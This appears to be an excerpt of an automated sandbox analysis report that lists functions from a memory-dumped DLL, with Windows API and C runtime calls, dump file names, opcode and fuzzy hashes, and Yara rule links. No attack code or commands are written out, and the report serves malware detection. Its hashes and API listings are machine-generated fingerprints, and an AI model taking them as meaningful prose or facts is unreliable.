Part of subcall function 6DCF1450: __EH_prolog3.LIBCMT ref: 6DCF1457
Part of subcall function 6DCF1450: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF1464
Part of subcall function 6DCF1450: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 6DCF14A1

ctype.LIBCPMT ref: 6DCF18E7

Part of subcall function 6DCF1928: __Getctype.LIBCPMT ref: 6DCF1937
Part of subcall function 6DCF1928: __Getcvt.LIBCPMT ref: 6DCF1949

std::_Locinfo::~_Locinfo.LIBCPMT ref: 6DCF18F1

Part of subcall function 6DCF14CE: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 6DCF14F5
Part of subcall function 6DCF14CE: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1566

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Locinfo::_$H_prolog3LocinfoLockit$GetctypeGetcvtLocinfo::~_Locinfo_ctorLocinfo_dtorLockit::_Lockit::~_ctype
String ID:
API String ID: 1262428101-0
Opcode ID: 8c0ea5f4289d6b55764123b2936719eb5b4dfc421437f5bb5eade0735af270e4
Instruction ID: 3b41dde1b27f24c0d4899be14af91ff039716864979ed27b2334e1d5d0eee254
Opcode Fuzzy Hash: 8c0ea5f4289d6b55764123b2936719eb5b4dfc421437f5bb5eade0735af270e4
Instruction Fuzzy Hash: 81F054B150431DDFD750AF68C441BEDB764AF40765F134509F7095B280EB745602CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6DD18499, Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

std::ios_base::_Init.LIBCPMT ref: 6DD1849F

Part of subcall function 6DD17FAF: __EH_prolog3.LIBCMT ref: 6DD17FB6
Part of subcall function 6DD17FAF: std::locale::_Init.LIBCPMT ref: 6DD17FFF

Part of subcall function 6DD18BFE: __EH_prolog3.LIBCMT ref: 6DD18C05

std::ios_base::_Addstd.LIBCPMT ref: 6DD184D8

Part of subcall function 6DCF1EEA: __CxxThrowException@8.LIBVCRUNTIME ref: 6DCF1F4E

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog3Initstd::ios_base::_$AddstdException@8Throwstd::locale::_
String ID:
API String ID: 3866902965-0
Opcode ID: f5465332d492a3dfb33428f77e15b9de503ee84fdd0bcdb1cdbea56ceb3e7f99
Instruction ID: 3332c069f932ba62ff1e16ba2d9155427c59c1a4e44a9b84840333c85df4e6a7
Opcode Fuzzy Hash: f5465332d492a3dfb33428f77e15b9de503ee84fdd0bcdb1cdbea56ceb3e7f99
Instruction Fuzzy Hash: 09F0A030608728A7D720E761E944B9BB7E8EF44738F00440EF6824BA80DBB5F44087A0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD178D3, Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD178DA
std::locale::_Init.LIBCPMT ref: 6DD178FB

Part of subcall function 6DD17005: __EH_prolog3.LIBCMT ref: 6DD1700C
Part of subcall function 6DD17005: std::_Lockit::_Lockit.LIBCPMT ref: 6DD17017
Part of subcall function 6DD17005: std::locale::_Setgloballocale.LIBCPMT ref: 6DD17032
Part of subcall function 6DD17005: _Yarn.LIBCPMT ref: 6DD17048
Part of subcall function 6DD17005: std::_Lockit::~_Lockit.LIBCPMT ref: 6DD17088

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog3Lockitstd::_std::locale::_$InitLockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 3152668004-0
Opcode ID: 05f67bd36459f7d4b5cbe75db1170a29e157fe94c052819ec6b4b6a2ef7a737c
Instruction ID: abf51ca9c3ce273183096c38873c2d9b422c7f2bb5fba648735bd3a8e6e1986a
Opcode Fuzzy Hash: 05f67bd36459f7d4b5cbe75db1170a29e157fe94c052819ec6b4b6a2ef7a737c
Instruction Fuzzy Hash: A1E09232EAD621B7D2217BA49901B29A150AB40B28F630049B2009B291CBA0480047E1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5D9CA, Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 6DD5C7EF: HeapAlloc.KERNEL32(00000008,?,00000000,?,6DD5D6B4,00000001,00000364,?,6DD30F8B,00000002,00000000,?,?,?,6DCF1298,6DD175D9), ref: 6DD5C830

_free.LIBCMT ref: 6DD5D9EA

Part of subcall function 6DD5CBD3: HeapFree.KERNEL32(00000000,00000000,?,6DD6CFAF,00000000,00000000,00000000,00000000,?,6DD6D2B4,00000000,00000007,00000000,?,6DD6C0FC,00000000), ref: 6DD5CBE9
Part of subcall function 6DD5CBD3: GetLastError.KERNEL32(00000000,?,6DD6CFAF,00000000,00000000,00000000,00000000,?,6DD6D2B4,00000000,00000007,00000000,?,6DD6C0FC,00000000,00000000), ref: 6DD5CBFB

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocErrorFreeLast_free
String ID:
API String ID: 3091179305-0
Opcode ID: c1991f024c2fcfd74ca2197f4b2dcfe4b49e5383834522ee5230ad89320bec15
Instruction ID: cd019223b259bd1033ff6b1b36f287d60e14946de22667074e4c3221af0d6ffe
Opcode Fuzzy Hash: c1991f024c2fcfd74ca2197f4b2dcfe4b49e5383834522ee5230ad89320bec15
Instruction Fuzzy Hash: DBF08CB6A04206AFC710EF68D441B5AB7F4EB48710F114166EA18D7340EB71A9208BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5F26D, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,6DD175D9,00000000,?,6DD30F8B,00000002,00000000,?,?,?,6DCF1298,6DD175D9,00000004,00000000,00000000,00000000), ref: 6DD5F29F

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2dcec0472ba52e34ee43ad0b350ec526e3cae9e1195cc84b7a629e8760d7a30a
Instruction ID: 6ce186f8a9916029c2f76634d9ff953af9297131b79d9a78a7526ea82c40bd29
Opcode Fuzzy Hash: 2dcec0472ba52e34ee43ad0b350ec526e3cae9e1195cc84b7a629e8760d7a30a
Instruction Fuzzy Hash: BEE030AA544222AAFF1137758900F9A3B58AF836A5F024150BD54DE1C1CB70D86086B1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD18BFE, Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD18C05

Part of subcall function 6DD14A80: __EH_prolog3.LIBCMT ref: 6DD14A87
Part of subcall function 6DD14A80: std::_Lockit::_Lockit.LIBCPMT ref: 6DD14A91
Part of subcall function 6DD14A80: int.LIBCPMT ref: 6DD14AA8
Part of subcall function 6DD14A80: std::_Lockit::~_Lockit.LIBCPMT ref: 6DD14AF8

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog3Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 1538362411-0
Opcode ID: 1c3050f85cea363537c4d3dc29079d822a52fbd7f6986e6437931deb37abdf98
Instruction ID: f92a06682c7184b0e10d459b01af7cbe5c65417b93cb0746c6b107531df83732
Opcode Fuzzy Hash: 1c3050f85cea363537c4d3dc29079d822a52fbd7f6986e6437931deb37abdf98
Instruction Fuzzy Hash: 2BF0E579A091199FDF44FBA0C8049BD7775FF45209F120009EA016B380DF715F02CBA6

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6DD702BC, Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6DD70402

Strings

1#SNAN, xrefs: 6DD71601
1#IND, xrefs: 6DD715FA
1#INF, xrefs: 6DD7160F
1#QNAN, xrefs: 6DD71608

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: ac0931768d2fb046926fd80e974cfe3e710c410474eb789e49d3013d1a6b7dd7
Instruction ID: 968a063c242ff3fc67c9c87a740fc68e4f47250811b8242cf8e097aa2ba7aa1e
Opcode Fuzzy Hash: ac0931768d2fb046926fd80e974cfe3e710c410474eb789e49d3013d1a6b7dd7
Instruction Fuzzy Hash: 98C26A71E086298FDB35EF29CC507EAB3B5EB45344F1441EAE44DE7281E775AA818F40

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6E518, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,6DD6E837,?,00000000), ref: 6DD6E5B1
GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,6DD6E837,?,00000000), ref: 6DD6E5DA
GetACP.KERNEL32(?,?,6DD6E837,?,00000000), ref: 6DD6E5EF

Strings

OCP, xrefs: 6DD6E56C
ACP, xrefs: 6DD6E536

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 15ee23f0fb39e253981f0bc8fcf95e45196a4339701e17f99496a754c3756cbb
Instruction ID: cc99038b3ac4d6aae8793d1e51b08903c0387d25f50e39b90259c4b10fcf07b4
Opcode Fuzzy Hash: 15ee23f0fb39e253981f0bc8fcf95e45196a4339701e17f99496a754c3756cbb
Instruction Fuzzy Hash: 7E219032644182EBE721EF58CD05AA777B6AB45B24F52C465F909C7202F732D940C7F0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6E6EC, Relevance: 7.7, APIs: 5, Instructions: 188COMMON

Download Yara Rule

APIs

Part of subcall function 6DD5D5FF: GetLastError.KERNEL32(?,6DDECE94,6DD51803,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D603
Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D636
Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D677
Part of subcall function 6DD5D5FF: _abort.LIBCMT ref: 6DD5D67D

Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D65E
Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D66B

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 6DD6E7F8
IsValidCodePage.KERNEL32(00000000), ref: 6DD6E853
IsValidLocale.KERNEL32(?,00000001), ref: 6DD6E862
GetLocaleInfoW.KERNEL32(?,00001001,6DD5E03B,00000040,?,6DD5E15B,00000055,00000000,?,?,00000055,00000000), ref: 6DD6E8AA
GetLocaleInfoW.KERNEL32(?,00001002,6DD5E0BB,00000040), ref: 6DD6E8C9

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
String ID:
API String ID: 745075371-0
Opcode ID: 0d62c5db079f18fc140d616212dc411f25070b7ba236bb0c50dc6b5b00250209
Instruction ID: 54ad12649176816648d01366502ccebe9eae159d8bafb88843b27dc677df6499
Opcode Fuzzy Hash: 0d62c5db079f18fc140d616212dc411f25070b7ba236bb0c50dc6b5b00250209
Instruction Fuzzy Hash: A4514D7190025AEBEF10FFA5CC44ABA77B8FF45704F118469FA24EB181E77099448BB1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD68951, Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,6DD82130), ref: 6DD689BB
WideCharToMultiByte.KERNEL32(00000000,00000000,6DDD7A1C,000000FF,00000000,0000003F,00000000,?,?), ref: 6DD68A33
WideCharToMultiByte.KERNEL32(00000000,00000000,6DDD7A70,000000FF,?,0000003F,00000000,?), ref: 6DD68A60
_free.LIBCMT ref: 6DD689A9

Part of subcall function 6DD5CBD3: HeapFree.KERNEL32(00000000,00000000,?,6DD6CFAF,00000000,00000000,00000000,00000000,?,6DD6D2B4,00000000,00000007,00000000,?,6DD6C0FC,00000000), ref: 6DD5CBE9
Part of subcall function 6DD5CBD3: GetLastError.KERNEL32(00000000,?,6DD6CFAF,00000000,00000000,00000000,00000000,?,6DD6D2B4,00000000,00000007,00000000,?,6DD6C0FC,00000000,00000000), ref: 6DD5CBFB

_free.LIBCMT ref: 6DD68B75

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 1286116820-0
Opcode ID: a4b963171ca01ee5e65bb2e86ef9c82ea53b27d0fd23c5fb819d18f5f89ae211
Instruction ID: 2afd7db5e7ed71703c5122160ae1bcc1c834051b7b2174df4c97f31122347d2a
Opcode Fuzzy Hash: a4b963171ca01ee5e65bb2e86ef9c82ea53b27d0fd23c5fb819d18f5f89ae211
Instruction Fuzzy Hash: E051B671D04255FBDF20FF698C4097AB7B8AB47314F1146AAF965A71C1D7709A408BF0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6DD96, Relevance: 6.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 6DD5D5FF: GetLastError.KERNEL32(?,6DDECE94,6DD51803,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D603
Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D636
Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D677
Part of subcall function 6DD5D5FF: _abort.LIBCMT ref: 6DD5D67D

IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,6DD5E042,?,?,?,?,6DD5DA1E,?,00000004), ref: 6DD6DE78
_wcschr.LIBVCRUNTIME ref: 6DD6DF08
_wcschr.LIBVCRUNTIME ref: 6DD6DF16
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,6DD5E042,00000000,6DD5E162), ref: 6DD6DFB9

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_abort_free
String ID:
API String ID: 4212172061-0
Opcode ID: 97ecd1429e6bbeda85b258dd2005ba5b275abd4c8c6e4bb3ee694e111e03ce00
Instruction ID: d066c29079099b8262485a7eec995ed31541e17beef1ac041b734374d5bbaa17
Opcode Fuzzy Hash: 97ecd1429e6bbeda85b258dd2005ba5b275abd4c8c6e4bb3ee694e111e03ce00
Instruction Fuzzy Hash: 5C610571508286ABEB14BB74EC41BB673A8EF85704F214469FA59C7181FB34E54487F0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6E19F, Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 6DD5D5FF: GetLastError.KERNEL32(?,6DDECE94,6DD51803,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D603
Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D636
Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D677
Part of subcall function 6DD5D5FF: _abort.LIBCMT ref: 6DD5D67D

Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D65E
Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D66B

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 6DD6E1F3
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 6DD6E244
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 6DD6E304

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorInfoLastLocale$_free$_abort
String ID:
API String ID: 2829624132-0
Opcode ID: 97fa1e63c5e2910de55a18090475fe2f5badac6ecfba07322d9877335b5c4e18
Instruction ID: 000b248d2aee06268fd4665fc87fc64a1be1770a336dd5dd355bba972f46505c
Opcode Fuzzy Hash: 97fa1e63c5e2910de55a18090475fe2f5badac6ecfba07322d9877335b5c4e18
Instruction Fuzzy Hash: C761CC31544287DBEB18AF28CC82BBA77B8FF05705F1080B9FA15C6581EB75D994CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD51F6D, Relevance: 4.6, APIs: 3, Instructions: 78COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,6DD175D9), ref: 6DD52065
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,6DD175D9), ref: 6DD5206F
UnhandledExceptionFilter.KERNEL32(-00000328,?,?,?,?,?,6DD175D9), ref: 6DD5207C

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 6b54ae2ac77947fb970fcd3a3822794bcc1b60938796b1eea8af122829e85ca0
Instruction ID: 5ec40e69ef3e260331dc803a5adbba8d4a0185abb5d3db3b71691d38438320aa
Opcode Fuzzy Hash: 6b54ae2ac77947fb970fcd3a3822794bcc1b60938796b1eea8af122829e85ca0
Instruction Fuzzy Hash: 0B31D8B594122DDBDF21EF28D888B9DBBB8BF09310F5042DAE41CA7250E7309B858F54

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5966F, Relevance: 4.5, APIs: 3, Instructions: 20COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,6DD59645,?,6DDD2D28,0000000C,6DD5978A,?), ref: 6DD59690
TerminateProcess.KERNEL32(00000000,?,6DD59645,?,6DDD2D28,0000000C,6DD5978A,?), ref: 6DD59697
ExitProcess.KERNEL32 ref: 6DD596A9

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: c88ad757ff704d14f75f8f6f0a3fd543e1c4d6f813d4146bd063b3d09e17dab8
Instruction ID: b8693c81f17d79adbd672aec421418a7b47a47594a116691807852803b19b0a5
Opcode Fuzzy Hash: c88ad757ff704d14f75f8f6f0a3fd543e1c4d6f813d4146bd063b3d09e17dab8
Instruction Fuzzy Hash: 00E0B671004258AFEF017F64C918E693B79EB46245F015468FD198A122CF35D952CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6DD64323, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,6DD5DA1E,?,00000004), ref: 6DD64376

Strings

GetLocaleInfoEx, xrefs: 6DD64334, 6DD6433E

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: d21c0bd6d3a50c6e7229ce13086741593a4af94e8dac25e45990efc93b46e1c0
Instruction ID: a2b7114eb6c96b0bbce8618b9caf1bb72321a49083c60d8abd346cfebe0e74eb
Opcode Fuzzy Hash: d21c0bd6d3a50c6e7229ce13086741593a4af94e8dac25e45990efc93b46e1c0
Instruction Fuzzy Hash: 69F06D3198911CBBDF027FA08C05F7E7BA5EF49711F018455F9196A251CB3299149BE4

Uniqueness

Uniqueness Score: -1.00%

Function 6DD45150, Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 279d36cb624a28dc2fc8018b7e3dec838c29ea01aa9c7dd68c94839918219c16
Instruction ID: 3074bfd6e0159e84fbb3122b447e420fdc40286e98b24c28e8e5973f71540b59
Opcode Fuzzy Hash: 279d36cb624a28dc2fc8018b7e3dec838c29ea01aa9c7dd68c94839918219c16
Instruction Fuzzy Hash: AB024B71E0421ADBDF14DFA9C8906ADB7F5FF88314F25826AE919EB245D730A901CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6DD60396, Relevance: 1.8, APIs: 1, Instructions: 269COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,6DD60391,?,?,00000008,?,?,6DD73E64,00000000), ref: 6DD605C3

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 5e696e69912e1390c3b218b4069204750bef8729cc2d18faa902e992561f9320
Instruction ID: efbd9d7ba3c5740533da28cd757e31be3e9e48d02376fcab8ce915671290a656
